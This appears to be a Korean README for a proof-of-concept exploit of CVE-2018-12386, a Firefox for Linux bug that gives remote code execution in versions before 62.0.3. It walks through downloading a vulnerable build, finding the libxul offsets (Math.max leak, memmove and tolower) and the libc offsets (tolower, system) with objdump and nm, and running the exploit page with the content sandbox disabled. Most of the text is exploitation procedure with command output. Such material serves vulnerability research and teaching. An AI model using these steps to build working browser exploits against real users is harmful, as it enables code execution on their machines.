
CVE-2018-12386 - Linux용 Firefox 샌드박스 RCE 익스플로잇 (Firefox <v62.0.3)
다음은 Niklas Baumstark, Samuel Groß 및 Bruno Keith가 발견한 취약점 CVE-2018-12386에 대한 간단한 익스플로잇입니다.
이것은 재미로 만든 PoC(개념 증명)로, 샌드박스 우회는 포함되어 있지 않으며, 익스플로잇에 사용된 오프셋이 이미 알려진 특정 Linux 설정에서만 작동합니다(오프셋은 exploit/offsets.js에서 변경 가능).
이 익스플로잇은 Firefox 62.0.3 및 Firefox ESR 60.2.2 이전 버전에서 작동합니다.
과거 Firefox 릴리스는 Mozilla의 FTP 서버에서 직접 다운로드할 수 있습니다: https://ftp.mozilla.org/pub/firefox/releases/
예를 들어, 64비트 Linux용 62.0.2 버전을 사용할 수 있습니다: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soFirefox 62.0.2를 사용하는 경우 exploit/offsets.js에 제공된 오프셋이 올바른 것입니다.
다른 버전의 경우, addrof 프리미티브를 사용하여 JavaScript 함수 Math.max의 주소를 유출한 다음, 현재 익스플로잇하려는 Firefox 인스턴스의 libxul.so 베이스 주소를 찾아(예: cat /proc/$(pidof firefox)/maps 사용) 두 값을 빼서 libxul_math_max 오프셋을 얻는 쉬운 방법이 있습니다.
Firefox 62.0.2를 사용하는 경우 exploit/offsets.js에 제공된 오프셋이 올바른 것입니다.
다른 버전의 경우, objdump를 사용하는 쉬운 방법이 있습니다.
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
8052e0: ff 25 82 86 40 05 jmpq *0x5408682(%rip) # 5c0d968 <tolower@GLIBC_2.2.5>
5c0b370과 5c0d968이 필요한 값, 즉 libxul.so에서 memmove와 tolower의 오프셋입니다.
libc.so.6 오프셋이러한 오프셋은 사용 중인 libc 버전에 전적으로 의존합니다.
# libc.so.6 location
[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system
Firefox와 올바른 오프셋이 준비되면 다음 명령어를 실행하여 익스플로잇을 테스트할 수 있습니다:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

인사하고 싶다면: @lyte__